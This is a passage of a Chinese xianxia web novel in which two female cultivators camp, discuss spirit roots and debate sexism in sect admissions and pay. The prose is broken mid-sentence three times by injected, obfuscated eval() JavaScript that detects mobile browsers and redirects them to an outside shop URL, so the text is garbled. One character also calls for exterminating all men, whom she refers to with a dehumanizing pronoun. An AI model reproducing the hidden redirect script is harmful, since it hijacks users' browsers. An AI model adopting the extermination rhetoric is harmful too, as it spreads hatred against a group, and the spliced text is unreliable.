萧隐:“这次我要做随行杂役了,于是来昆仑赴宴前,为了预防万一,我就在终南提前查阅了一些资料,学会了一点点东西。”说着,她从芥子囊中掏出了一张纸,低头又对着那纸和她们跟前的帐篷比量起来。 伶舟絮踮着脚蹦了一下,发现她拿着的是一张帐篷结构图。 图纸画得规整,从材料到结构,再到每个点需要什么工具,一应俱全,还有一堆注意事项,写得密密麻麻的,伶舟絮看了都眼晕。 萧隐却道:“已经做好了,只是我现在手头材料和技术都比较有限,并不能做出大一些的帐篷……” 伶舟絮叹了一口气。她个性比较急,一看萧隐还要琢磨来琢磨去,她就忍不住道:“哪有那么麻烦,我直接抽出道具折纸变形……”说着她才好像想起来了什么,渐渐没了声音。 萧隐偏头,“絮姑娘现在无法使用灵力,高级的芥子囊往往需要主人的灵力进行认证才可以打开,所以芥子囊现在用不了。不过没关系。这帐篷虽不大,但是供你我躲雨和休息想必不成问题。” 伶舟絮悻悻然点头,然后看着那帐篷她不禁又皱了皱眉。 萧隐:“怎么了?” “这……”伶舟絮指了指帐篷,“这怎么看着那么眼熟呢?” 萧隐颔首,“不错,絮姑娘好眼力。这是我用刚才割断了伞绳的降落伞做的。” “这么快?!”虽然一早知道萧隐做工很有效率,但是距离她们落地才不过一个多时辰,在这两个多小时(1个时辰=2个小时)里,萧隐把火生了起来,晚饭和住所都给她俩解决了,现在甚至还在忙活,伶舟絮不由走上前想问问她又在操心什么,但一只手忽然拉住了她的手,“别过来。”萧隐说。 63.熟手 伶舟絮立刻顿住了。她绷直了身体看向萧隐,目光中有些惶惑,萧隐也愣了一下,“絮姑娘安心,我只是想说这周围有我划分好了的界线,用于布置机关陷阱以便于你我防身的,于是请絮姑娘先保持一些距离,以免弄乱了界线待会儿还要返工。” 闻声,伶舟絮低头,果然在自己脚尖不远处的地方发现了一条纤细的沟壑——不是自然形成的,而是有明显的人工痕迹。 她滞了滞,点头走回了一边,坐在刚才萧隐找到的那块石头上旁观。 八米外,萧隐围着帐篷转了一阵,叮叮当当声从她双手下飞过来。她目光专注,神情肃穆,下手也利落,伶舟絮还没等看清那都是什么零件,她就已经左右开弓忙活起来。 伶舟絮不由看呆了。终南那些有正经师承的机关术优等生,之前和她出门历练时,对于实操,有部分人要么只会纸上谈兵,要么就是对那些物件摆弄得不够灵巧……总之,她一直觉得那帮捯饬机关术的普遍都是不堪大用的,说到底,这是在修真界,在能够动用灵力和法术的时候,机关术能让她联想到的也就是鸡肋——食之无用,弃之可惜。可这两天以来,萧隐已经以一己之力反复刷新了她的认知,不仅是从性别议题上带她开辟了新的角度,还是成功让她认识到了机关术在一定时候所迸发出的不容忽视的实用价值,或者说用自身做工时的迅捷向她揭示了“王侯将相,宁有种乎”(当然,这么说有些夸张),都让伶舟絮感受到了一种震撼,这是基于萧隐实力和出身形成的“反比”而让她产生的震撼——要不是早先就知道她确实没什么师承,伶舟絮恐怕直接会判定萧隐就是个终南这种正统宗门出身的修士,机关术上的真正有师承的熟手。 萧隐拍了拍手,起身,巡视了一圈,又端着胳膊摸着下巴看了一阵,忽然“咻”的一声,伶舟絮瞪大了眼。萧隐目不转睛地紧盯着一个位置,只听飒飒两声,伶舟絮还没反应过来,砰的一下,一样物什就突然哗啦啦散落了一地。 “你……” 萧隐回头和她说,“絮姑娘不用担心,这些我有办法处理。” 伶舟絮却难得没有直接回话,她一遍遍看向地上那烂成一团的东西,越看越皱眉,“这是什么?” “假人,拿来做实验用的。” 说着,一股橙红色丝线似的东西忽然间从萧隐手中飞出,沾到了那一地狼藉上就瞬间有部分东西开始慢慢枯萎,化成尘烟。 伶舟絮知道这是萧隐体内的火灵根催生出的灵力,可她还是忍不住嘟囔:“不应该啊。” 萧隐:“怎么了?”她虽然弄着清理工作,但是依然留了部分心神在伶舟絮这边,自然也听到了伶舟絮的咕哝。 伶舟絮:“一般来说,擅长机关术的人,都是火灵根比较多,方便锻造东西,再不济也不可能像你现在这样,火灵根那么孱弱……”她说完,好像才想起这么说跟打压萧隐似的,不由停了停。可萧隐却没什么反应,连眉头也不曾动一下。 她只是应了一声。 伶舟絮犹豫片刻,到底按捺不住好奇心,问道:“五行(金木水火土)在你灵根中占比最大的是哪一个?” 萧隐刚好弄完了善后,听到这儿她索性收手,将筋脉中的灵力统一往右手一挤,顿时一颗五颜六色的光球就从她手心浮了上来。 伶舟絮走过来弯下腰偏着头从左到右对着那光团细看了看,“金灵根更多。” 萧隐点头,却忽然问了一句让伶舟絮诧异的话,她问:“怎么看自己到底哪一样灵根更多?” 伶舟絮几乎立刻就直起腰,“你不知道?!” 萧隐摇头。 伶舟絮深感震撼。 之前萧隐跟她谈起灵根相关的知识时,说得那叫一个头头是道了,怎么到头来在分辨灵根这种入门级的小事儿上,她竟然一窍不通?要知道,这东西放在功法教材上都是写在第一页的啊。 萧隐:“我没看过修炼功法。” 伶舟絮拧眉:“你没看过吗?” 萧隐摇摇头,神色不像作假。 伶舟絮更不解了:“虽然说内门功法你现在是不怎么有权限能看的,但是像灵根、修炼境界这些都并不是什么讳莫如深的东西,而是一种属于玄门修士的通识,你博览群书,竟然从来都没怎么看过这个吗?” 萧隐:“嗯。我没怎么看过这些。” “那你都看啥?”伶舟絮记得萧隐经常往藏书阁跑,不看功法上的通识,她还看什么? “地理、数学、外语,”萧隐回忆了下,“兵工、草药……还有生灵(生物)。” 伶舟絮愣了愣,“这么多?”萧隐颔首。 “那你为啥不看功法通识啊?” 萧隐:“因为这个其实没必要看。” 伶舟絮:?????? “功法相关的内容,我现在没有权限看太多,可所有功法最后都是奔着实践去的,”萧隐解释:“所以说就算我不知道五行灵根的占比在人体内是如何的(无法分辨别人体内的灵根占比),也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097308|123631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会防碍我或别人借助灵根发出攻势。更何况,每种灵根都对应不同事物,能控制不同的元素,这点我已经知道了,”说着,她看向了伶舟絮,“就像絮姑娘从我发功时就看出我用的是哪种灵力,毕竟我用的灵力直接和受到攻击的物体产生了反应,已知实验用假人是木头和草做的,那么它就属木,而它受到我灵力攻击后的现象——比如说萎缩,化为灰尘,还能对应‘火生土’的规律,所以就能推理出,我使用的灵力属火。 “既然灵根占比就算不知道,也不防碍发功或推断出发功的人使用的是什么灵力,那么我想,我也就没必要非要弄清楚人体内的灵根占比(没必要非得学人体内灵根占比的分辨法)了。” 伶舟絮张了张嘴,“可是……好吧,话虽如此,你到时候入门肯定还得根据灵根占比来进行分班,甚至是分你在哪个部进行学习啊。而且你到时候修炼的功法,也还是会根据你的灵根占比来发给你。所以说灵根占比也不是那么‘没用’吧。” 光团在萧隐手中放射出耀目的光辉,她闻声笑了笑,“我没有说‘灵根占比没用’,我只是说,一些功法上的通识,像灵根占比的分辨法,我就没必要特意找书学。 “一来,我现在权限有限,只能托絮姑娘的名头才终于能出入藏书阁,如果说看终南功法,就算是通识,也容易引人怀疑。我不想引火上身; “二来,我现在的权限使我就算看了灵根占比的内容也不能往后看,而灵根占比这种知识对现在的我来说,也没那么重要,虽然说到了实战,了解对面的灵根占比真的有助于用与之相克的功法和灵力钳制对手,但是我这种资质,能和别人打擂台的可能并不高,更多时候,我应该只是在观战,而观战就没必要非得了解什么‘灵根占比’的分辨法了; “第三,也就是絮姑娘所说的,分班分部的问题。”她看向伶舟絮,“虽然分班分部确实得用到灵根占比,但是这就不是我的事了,而是上边那些人在组织分班分部时需要考量的。而我只需要等就是了。即便不想‘等’,终南树大根深,对这种事也由不得我做主,所以我只能先静观其变,然后伺机而动。” “停!停……”伶舟絮听她一口气说了这么多,头都有些大了。萧隐停下来不说了,只静静看着她。 伶舟絮揉了揉太阳穴,“总之,你就是说,你对这个灵根占比并不怎么关心,对吧?” 萧隐想了下,“也可以这么说。” 伶舟絮:“那你刚才还问我灵根占比的分辨法干嘛?” 64.不公 萧隐:“因为我想学。” 伶舟絮无语:“你之前长篇大论洋洋洒洒滔滔不绝讲了半天,不就是为了说灵根占比的分辨法对你没什么大用吗?为什么又想学了?” 萧隐微笑:“因为多知道一点东西总没有坏处,我刚才也只是说,我没必要特意找书学灵根占比的分辨法,而不是说我就完全不会去学了。” 伶舟絮叹了口气,她发现萧隐不论怎么说都是合情合理的,于是也没心情多在这种事上掰扯了。她直接上前两步指着光球,刚要开口却听萧隐说:“絮姑娘且慢,我刚才做了个推断,你听一下看看是否符合灵根占比的分辨法,如何?” 伶舟絮想了下,反正萧隐自己推理一番还能供她点评,她又能轻巧,又有参与感,于是点头。 萧隐说:“灵根占比的分辨法,大概有两种方式,一种就是让受试者之力将不经筛选的灵力直接挤出掌心形成光团,用肉眼可见的方式根据光团所呈现出的色泽进行评断;另一种就是用特制的水晶球,让受试者宁心静气搭手在球体表面,再根据水晶球展现出的颜色进行判断。” 伶舟絮心中一震。 萧隐继续说:“金木水火土,显化时,金灵根颜色灰白,木灵根颜色青绿,水是半透明状偶尔有蓝色舛杂,火是橙红色,土是棕黄色。” “……” 伶舟絮有些错愕:“你是怎么知道这些的?” 萧隐:“我虽然从茌山入选衡山的外门学徒,但是从12岁起,我就参加过许多次我们那里举办的招生大会了,我老家管那大会叫‘扶摇节’。而我属于参加扶摇节最多次的人,尽管那时候搭了个台子只有受试者能上去站一会儿,别的人普遍离得远,可我也有了那么多次参与经验……久而久之,也就对水晶球中迸发出的光芒都和什么灵根相关有了一点推断。”说着,她反手挥散了光团,看向伶舟絮:“絮姑娘以为我方才说的推测准吗?” 伶舟絮看着她,一时竟有些不知道该如何作答。 准吗?萧隐说的当然是准的,可以说分毫不差,一点也不比她们特意看了书的从知识点的记忆上逊色一丝一毫。伶舟絮看着她,她神色如常,不骄不躁,似乎刚才那些分析推理对她来说只是再一般不过的鸡毛蒜皮,实际上,伶舟絮也知道,对于萧隐这种人来说,刚才这点关于灵根占比的分辨法的推导,确实也算不上什么大事。毕竟萧隐往常的洞察力、辨析能力也都不弱,而且她还有很强的动手操作能力——从手搓袖箭、降落伞、改降落伞为帐篷,还有布置机关就都能看出来,可这也成功引出了伶舟絮的另一个困惑:“你参加那么多次招生大会——就是你说的‘扶摇节’——做什么呀?” 萧隐笑了笑:“因为之前不论如何我都是落选的,而我还不甘心,所以就反复参加了许多次。” 伶舟絮往后蹦了一步,“啥???!”她这是真的吓了一跳,眉毛高高扬起,眼睛直直冲着萧隐,可萧隐怎么也没有什么心虚的样子。 因为她说的都是实话。她之所以屡次参加扶摇节,确实就是因为她一直没中选。 伶舟絮难以置信:“为什么?” 萧隐:“因为我是五行杂灵根,资质平庸。” 伶舟絮拧眉:“就凭这个吗?” 萧隐看了看她,没说话。 伶舟絮觉得肯定不至于就凭灵根就把萧隐拒之门外,因为终南也有五行杂灵根的人入门修行,虽然说这种人基本上就是终身在外门谋个闲职也就聊此余生了,没什么太高的上升空间,但是这也说明一个问题:即便是玄门数一数二、名震天下的绛阙(终南山五大宗门合为一个门派,门派名为“绛阙”),也断没有直接不收五行杂灵根的人。所以,衡山这种差不多已经没落了的门派做个新生选拔,到底哪来的那么多底气,对人说拒收就拒收?毕竟这俗世里虽然看着人来人往熙熙攘攘,但是近年来有灵根的人,都不算多。难道因为衡山小,所以就不需要那么多人求学了吗?伶舟絮挠挠头,疑惑。 萧隐:“确实不光是因为灵根而已。” 伶舟絮立刻回问:“那是因为什么?” “我问过招生的人,普遍没人答复我,唯一答复我的,说,‘今年女的太多了,用不着’。”萧隐顿了顿,“可是历年来得到降格录取的丁人远远是女人的数倍。” 伶舟絮:……???? “不是,这怎么回事?”伶舟絮问,“你不是说衡山一直是外门干活的丁的少,女的多吗?怎么这还能降格给丁的录取进去,把女的排斥了?” 萧隐:“外门干脏活累活的确实是丁人少,女人多,可是即便同一个工种,丁的从报酬上也比女的多赚了30%。乍一听可能是没什么,可是如果按日薪10块灵石来算,那么丁人的日薪就是10*0.3+10=13,牠们每日有13块灵石的收入,即便按一个月只有30天来算,到最后牠们也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13129987|123631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比和牠们同工的女人多赚了90(13*30-10*30=90)块灵石。”伶舟絮狠狠一怔,虽说90块灵石对她来说并不算什么大事,但是她是真没想过差距能这么大。 “而从招生的录取上,更是如此。”萧隐将伶舟絮错愕的神情尽收眼底,继续道: “我统共参加了12次扶摇节,每次录取人时都是从性别比上显现出丁多女少,直到我自己得到录取那年都是一样。一开始,我就很怀疑衡山是否有那么多女人能得到稳定岗位,以至于招生时即便只是进行外门学徒的收录也无法让更多女人入学,后来我发现,并非如此。 “衡山外门每年会进行1-2次大考,考试时间分春秋两季,都是有关于干活效率和日常生活知识储备上的考核,干活效率是实操考试,知识储备是笔试,考点如:怎样迅速清洗脏了的菱纱、如何辨识鲛鮹的耐用度……等等。对于丁人而言,这两样考试只要过了一样就能留下继续做工,而对于女人而言,只要有任何一样考试所得的分数低于标准线,那就会面临解雇。而这分数线的标准,也很有意思,”萧隐指出,“满分750,同一个工种,丁的只需要过了240分就能留下来,可女人却要430分以上才有商榷余地——这是什么概念?这意味着丁人的分数,只是女人成绩的55%就可以得到继续录用!”伶舟絮愣了。 “这还不算完,”萧隐说,“就算女人留下来了,丁人相对于女人来说也一直都是有更高的上升空间,许多丁人,一入门就是领导层的,即便做不成领导,也能捡点儿轻巧的事做,根本不用像女人一样起早贪黑,也不需要少挣那30%的薪水。只是因为女人们普遍太能干,普遍又能考出好成绩来,加上开山祖师又是女性(魏华存),所以才造成衡山看似‘丁女平等’的假象,而这种环境中,我也经常能听到有丁的抱怨,‘这个社会实在是太重女轻丁了’……”说着,她不由嗤笑了一声,“如果这个社会真的重女轻丁,”萧隐一字一顿说,“那牠们根本就该无法苟活于世才对。”她声音越来越低,目光却越来越狠厉,伶舟絮闻声抬头这才发现萧隐虽然长得凶,但是这时由于垂下眉睫遮住了炯炯有神的眼睛使得原本凌厉的长相一时竟显得她整个人又阴鸷又莫名的柔和,和她刚才吐出的话结合起来一看,居然有些割裂。 “你……”瞠目结舌了一会儿,伶舟絮终于斟酌,“你们……没人想过和上边说一下这种扭曲的不公的情况吗?” 65.诉苦 萧隐听罢蓦然抬眸,那眼神称不上到底是个什么意思,只是看着有一股清凌凌的感觉,伶舟絮被她看得忍不住倒退了一步,可是嘴上却还是说了下去:“比起终南,衡山虽然小,但是那也算麻雀虽小五脏俱全。你之前和我说过,你在衡山外门的时候也曾频频出入内门,既然如此,为什么就不把这种苛待女人的事和上边的人说一下?” 萧隐缓缓道:“絮姑娘所说的‘上边的人’指的是什么人?” 伶舟絮:“就是我师兄啊!”她嚷道,“尽管我师兄看着也是挺不知人间疾苦的,比我还经常大惊小怪,可我不也是跟你说了吗?他这个人最大的特点心肠好,一向见不得别人受苦受难的,你那时候既然能出入内门,那么就可能对他的名号也有印象,而且因为你是个杂役,所以你也更方便找见他的住所甚至是制造一点巧合跟他碰面吧?”说到这里,她偏头细看了看萧隐,那意思很明显:“你为什么不找他诉苦呀?” 萧隐:“……” “如果你和他说,他肯定不会坐视不理的。”伶舟絮又皱着眉说:“这种明摆着歧视人的事……正常人都不该听之任之或不理不睬吧?” 萧隐却道:“絮姑娘还记得之前我们聊过的,这个社会打压女人的那些冰山一角吗?” 伶舟絮点头,她自然记得,萧隐和她说的那些事也是让她破天荒认识到原来人间这么不太平。 萧隐:“衡山那些丁的经常说女的这不行,那不行,说女人得到的还是太多了,牠们强调自己作为丁人收到的返利还是太少,然后总会举例子说自己从这个‘重女轻丁’的社会受到了什么样的压迫,仿佛这一切都是因为女人存在,所以牠们才吃了亏似的。可实际上,事实恰恰相反,正是因为丁人的存在,女人这才吃亏,具体事件,我们之前已经大体盘过了,我也不再赘述,我只问絮姑娘一个问题。” 伶舟絮:“什么问题?” 萧隐:“絮姑娘觉得丁人在丁社也会受到性别歧视吗?” 伶舟絮顿住了。 萧隐:“丁社就是由丁人专权,为托举丁人而建立的社会,它的所有制度,所有环节,都是奔着维护丁人对世界方方面面的统治权才弄起来的。性别比失衡,降分录用丁,同工不同酬,这些都只是丁佺的外化表现的太仓一粟。而性别歧视,既然根植于性别,那么性别矛盾无疑就是无可回避的重点。那些丁人,口口声声嚷着自己含冤受屈,理由是:‘我生在了一个重女轻丁的时代’、‘我吃到的福利还不够多’,最后得出结论:‘都怪女人’,可实际上,性别歧视,真的促使牠们丁的成为了受害者么?”她垂眸冷笑,“当然了,有的丁的会反驳,说:怎么没有呢?你们女的肩不能挑,手不能提的还没什么,可我们丁的,就要‘大丈夫顶天立地’,这难道不是对丁人的歧视,对丁人的压迫吗? “可是这种‘压迫’,最后削弱了谁,又加强了谁?”她看向伶舟絮,伶舟絮脸上的神情有些凝滞住了。萧隐说:“丁人所谓的自己基于性别就受到歧视、受到压迫,其实都是在混淆是非。牠们一边吃着丁社通过打压女人来送给牠们的红利,一边还蛮不知足地对着女人叫嚣,说‘都怪你们女的’、‘你们女的就是活着轻松啊’,甚至还要偏移真正的事实,为自己‘鸣不平’说:‘我丁我也受到了那么多不公平的事,这个社会就是太对得起女人,太对不起我们丁的了!’……实际呢?”她盯着伶舟絮的眼睛重复,“实际上,因为性别女就没法顺利出生长大的,是女人,因为性别女就没有家产继承权的是女人,因为性别女就收不到优先录取、降分录用的是女人,因为性别女,即便同一个工种甚至付出了更多劳动也没法获取同等报酬的人,还是女人。 “而这些,只是因为女人不肯‘向上反映情况’就造成的吗?这些属于女人的性别困境,是因为女人自己不肯像丁人一样嗷嗷叫苦才延续至今的吗?不是的。”萧隐说,“这些都是因为种间竞争、性别战争才造成的,所以丁人作为丁社的既得利益者,从来都知情,只是牠们自己选择知情不报,习以为常,选择视而不见,选择继续踩着女人的血汗,站在高峰给自己哭‘丁人的不容易’——甚至还会狠狠反咬女人,说女人贪心不足蛇吞象。而女人在这种迫害下,往往不得不失语。如此情况下,且不说我本来就因为性别所以无法获得那么多职务之便,就说我即便真的有那个出入魏正卿日常起居场所的权限,我和他说了,他会说什么?是讶异地感慨两句,还是再给我画个饼,再或者说沉吟片刻告诉我,他要和他双亲商量一下?可这规矩到底是谁定的?是怎么‘约定俗成’的?他或他爹都对此一直分毫不知吗?——显然不是。牠们都心里门儿清,只是装聋作哑而已。那么我即便找了魏正卿反映情况那肯定也是杯水车薪。” 毕竟他即便看上去再“老好人”再“好说话”,也还是个丁的,他也还是丁佺社会下靠踩踏女人来获利的剥削者。 萧隐没有再说下去,可伶舟絮已经意会了她的意思。可是依然有一种冲动促使伶舟絮去反驳,因为她总觉得这个世界不该是萧隐说的这样的,至少从她的视角看,这一切并不是非要你死我亡血流成河来做结局,于是她抬头回望萧隐,鼓起勇气说:“那你是说你从来都没尝试过向他汇报衡山外门那些女性学徒们所面临的困局了?” 萧隐:“对。” 伶舟絮像是抓住了一根救命稻草一样,忽然松了一口气,她看着萧隐,神色也跟着放松了一些, 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“魏正卿作为丁人,不论如何,他的性别立场都已经决定,期望他来维护女佺,这是不现实的。” 伶舟絮拉脸:“我就是说你没必要低估他手头的权柄而已。” 萧隐:“我没有低估他手头的砝码,我只是想要提醒你一下,两性利益注定相冲,作为女人,我们绝不能奢望丁佺上位者来参与女佺,因为牠们一旦加入进来那么就会包括但不限于争夺女佺的话语权,从各个方面压榨和侵吞女性应有的权力,当然了,表面上,牠们可能还是会喊两句‘平等自由’的口号,可是画饼充饥终不能成事。我们要认清这点,抓实权,不能只听丁的讲那几句漂亮话就晕头转向,同时,还有一点我需要着重强调,那就是——女佺运动的革命队伍中绝不能容纳丁人。 “即便这丁人,看着再和善,再没有攻击性,再好像‘有利于女人’,牠们也到底是丁佺的缔造者、巩固者和获利者,牠们的利益,和我们(女人)的利益对立。牠们就是我们的敌人。只有彻底消灭敌人,达成全女社会,女性才可以从种间竞争中得到真正的解放。”她说,“所以我们一定要注意分清敌我,放弃幻想,准备战斗。” 伶舟絮蹙眉:“你说得这些都有道理,道理我也懂,可我就问你,你现在有什么办法能真正彻底的消灭丁的?” 萧隐顿住了。 “你之前说的那些主观和客观的对立统一,革命和改革的区别,世界观和方法论,科技是第一生产力,修‘行’需要大于修‘心’,我全都记得,”伶舟絮望着萧隐,“所以呢?” “真正的武器到底在哪里?” 66.质疑 “我知道你可能会觉得我这是在转移话题,而且咄咄逼人,可是女佺难道只靠说说嘴、画画饼就得了吗?”伶舟絮反问,“你和我说的那些,我细想想也能知道你说得在理,可是呢?难道真正的胜利,只凭一个不着边际的构想,就能直接到我们手里吗?你只强调科技,强调我们必须要灭了丁的,但却拿不出任何真刀真枪出来,甚至我们现在连一个真正切实可行用来彻底打败丁人的方案,都完全没有做出来过!我问你,我们需要什么科技,你也避而不谈。你只和我说,正治梯子爬不通,又告诉我,即便我师兄身为衡山第一顺位继承人也解决不了你说的那些女丁同工不同酬、优先录取丁、降格录用丁的问题,那你说吧,你到底打算让女人靠什么科技胜利?到底科技中能有什么东西可以真的彻底解放女人?” 萧隐闻声愣了下,从她说到“女佺难道只靠说说嘴、画画饼就得了吗?”起就低垂眼帘,一直没再做声。 伶舟絮瞪着她,心头却还是怒火中烧。萧隐做的许多分析,她也说不出什么错,可是萧隐对正治梯子的认知,让她产生了磅礴的愤怒。 这种愤怒来源于她感觉到自己一直以来深信不疑的一些事遭遇了质疑,就比如:她惦记了那么多年的,心心念念的即将到手的权柄——就这么被萧隐轻而易举否了。 虽然萧隐之前和她举例子说的一些事确实很详实,然而从伶舟絮的角度看,萧隐对女性失权的事的认知也有一些局限性,至少她觉得萧隐对她(伶舟絮)的境遇并没有多了解。 从小,伶舟絮其实就知道自己和别的小孩不一样。 她有更优越的阶级、更出色的禀赋、更丰盛的资源,这些最后都有个统一的外在表现,那就是她比同龄的绝大多数人都拥有更多说“不”的权力。 伶舟絮知道,比起一些人,她看着的确更加不谙世事,但是分辨出自己比别人多了什么,事实上只需要有个“比大小”的判断力就够了,因此她当然知道自己相比于别人而言生活条件更加优渥,可她对这些优等待遇太司空见惯了,就像一个吃鱼习惯了有人在身边帮忙剔骨的人一样,她简直不能想象到自己哪天吃鱼拤着刺是什么模样。于是,显而易见的,她也从来没想过自己想要的东西、要到手的东西有朝一日还能跟她失之交臂。这也就造成她实际上还是不信萧隐对她说的:“正治梯子爬不通”。或者换个更贴切的说法,伶舟絮觉得,萧隐之所以得出“正治梯子爬不通”的结论很可能就是因为萧隐出身底层,没人脉人禀赋也没有多像模像样的家世背景,于是她很难想象到有人“爬通正治梯子”的可能性,也就得出了“正治梯子爬不通”的结论,可伶舟絮还是想要试一试。毕竟她生来简直就是顺风顺水,满手好牌,这种条件如果就凭别人三言两语,就直接放弃搏一搏了,岂不可惜?更何况萧隐所说的科技,她想,也少不了她帮忙的。 说到底,萧隐没钱没势也没有别的什么资本跟这个丁社抗衡,目前就连进出藏书阁都是因为沾了她的光,如果说将来,她能上台,那么她就能给萧隐创造更多条件为女佺运动的发展提供物质上的养料——尽管她和萧隐现在依然没有从性别议题上完全达成统一意见,伶舟絮也知道,她和萧隐都是女人。萧隐所说的女佺运动和她们的利益息息相关。推动女佺运动的大力发展,本身也是对她自身百利无害。因此伶舟絮虽然和萧隐在现阶段女佺运动的最终目标是“消灭‘丁人至上’”还是“消灭丁人”上有不和,但是她也真的从没有想过站在萧隐的对立面、防碍萧隐推行女佺运动,毕竟她知道,自己和萧隐是同一条船上的人。 甚至可以说,萧隐思索问题时,尽管思想和切入点更激进,也确实普遍比她更条理清晰,更全面,也更坚定站在完完全全的女性利益上考虑——这一点,伶舟絮清楚,因此在她看来,如果她们真的有一艘具象的船只,那么萧隐在这船上所承担的角色一定和掌舵人相关。 然而,这时候伶舟絮一番话噼里啪啦砸过去,却讶然发现原来萧隐这个总舵手也是极其青涩的。 “你看了那么多书,也没想清楚到底什么样的科技能像你说的那样彻底解放女人?” 萧隐垂着头,应声。 伶舟絮愣了愣,显然也没想到之前和她信誓旦旦说一定要灭了全部丁人的人,那个一开口就是一堆大道理的人,弄半天,竟然真的就是空有世界观,没有方法论。 萧隐低着头站着,说不好究竟是个什么样的态度,只是眉毛眼睛都耷拉了下来,整个人看着有些无力。 伶舟絮嘴唇动了一下,从震惊中慢慢缓过神来,她觉得自己这时候需要说些什么补救一下,可是嘴唇一动,她就忽然想起自己刚才有些声色俱厉的模样,一时间不由涨红了脸,“其实我也不是那个意思,”她急切地上前几步抓住了萧隐的手,“我不是真的责备你……我就是说……” “絮姑娘是想要提醒我别忽视正权,对吗?”萧隐抬头看她。 伶舟絮一边尽力细细分析着她脸上的神情和眼神中的意思,一边连忙点头,在确定了萧隐没有什么不乐意之后,她叹了一口气,道:“你就当我不信邪吧。我是真想试一试。” 萧隐凝望着她,不语。 伶舟絮抱住了萧隐的胳膊,“你放心,我这个人从小到大就是好运气和胆量都特别多,等我上去了,我肯定整改你说的那些亏待女人的地方,我也肯定会力排众议给你个监督管理的职位,到时候你要是私底下想要研究什么,我也方便给你搭把手……”顿了顿,伶舟絮严肃地对着萧隐说,“之前提及我师兄,我并不是让你必须求他办事或必须让他进革命队伍浑水摸鱼的意思——” “絮姑娘只是想提醒我,他手中的正权,或许可以为我们所用。”萧隐总结。 “你放心,到时候我肯定会励精图治,绝不会让你失望的。”伶舟絮用力点头。“我保证。” “……” “谢谢。”萧隐深深看了她一会儿,垂下睫羽,低声说。 伶舟絮握紧了她的手,垫脚拍了拍她的肩膀:“没事!没事!” 萧隐没吭声,什么也没有说。 她只是也握紧了伶舟絮的手。 伶舟絮不知道,很久以前,萧隐曾和她一样,想过爬正治梯子。 出身茌山这种重丁轻女连装都不装的地方,一开始,萧隐误以为只要她往上爬,拿到最闪耀的桂冠,抓住最坚实的藤条,一步步往上走,那么等到她披荆斩棘荣登宝殿那天,她就能翻手云覆手雨,然后这世上那些爱丁仇女的事,也就都迎刃而解了——可是没多久,她这个幻想也就破灭了。 和终南只招12岁打底的学生不同,近年来,衡山人才凋敝。为了广纳英才,衡山特意降低了入学年龄并尽可能增多了入学福利,就连茌山这种偏远地区,衡山也有派人过去张罗着招生,萧隐也是从9岁起就开始参加扶摇节。 也是从那时候起,她蓦然发现,招生性别比严重失调,她见到的所有门派,不论衡山,还是更多不知名的小门小派,都是多招丁的,少招女的。 就连临时出题面试,也是区别对待。面对女的爱答不理,可只要对面是个丁的,那就满腔热情了。她捏紧了手,怒气冲天。 再后来,她终于等到了一次机会,也就是她20岁那年,终南恰好也来茌山招生,她看准了那领头招生的竟然是个女子,这才上前显山露水。 那女子看了她的字,问了她一个题,不是以前她听到的“你将来打算嫁人吗”,也不是“你到时候打算怎么平衡你的活计和相夫教子的日常生活”,而是一句:“你会读书写字?” 萧隐将自己多年来不屈不挠的自学经历倾吐而出,期间,数次,有丁的拧眉斥咄着要打断她的话,但全都一一教那女子挡了回去。她聆听着萧隐的经历,目光从她那张写着短诗的纸条上扫过,翻来覆去,似乎要从这少年字里行间,看见她过往平生。 终于,那女子朗声对她说,“你过关!” 就三个字,时隔三年,萧隐现在都还记得那一刹的战栗,那是她第一次切切实实感受到了一个词:大喜过望。 可这份机遇最后从她指掌间溜走了。 因为有个丁的忽然间和那女子说,“今年招生名额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧隐仔细观察了一下,这一切即便在现在也是有迹可循的,各大门派所有直接明文指定的下一代继承人,从来都是性别丁。不仅如此,就连各大门派领导层的附属层中也是丁人数量居多,虽然部分女性偶尔也能从中挤占零星的位置,但她们能得到的普遍都是闲职,极少数有相对(只是相对于其她女性而言)较多的权柄在手的女性还普遍都会因为各种事情“落马革职”。 由此可见,几千年虽然只出了那一次“女性问鼎玄门”的事件,丁佺也可以对此草木皆兵,牠们已经在逐步封死所有女人在正治梯子上的上升渠道了。 因此,她还是并不能够完全赞成伶舟絮要爬正治梯子的念头,尽管终南目前还没有明确指定任何丁人做下一任继承人,而伶舟絮还是终南现任掌门的独生女,萧隐也能推测出正治梯子对伶舟絮而言,也未必畅通无阻。毕竟那么多丁的也并不是吃闲饭的,牠们这么多年来所习惯的抱团,所建立的那些盘根错节的利益关系,都不一定是伶舟絮能应付得了的,即便上台,她也很可能被架空。可她也明白,她劝不住伶舟絮,就像伶舟絮也劝不动她。她们谁也说服不了谁。幸好,现在她们也不用急于说服对方,说服对方也不是个多么重要的事。 相比于别人,她能更快速整理许多细枝末节的讯息并对一些自己想知道和做到的事得出结论,而且准确率和成功率都不低,这让萧隐总是能快速在人群中找到可以合适的建交对象,并且一直都能分清轻重缓急。 也因此,她明白提纯思想并不是女佺运动的第一要务。 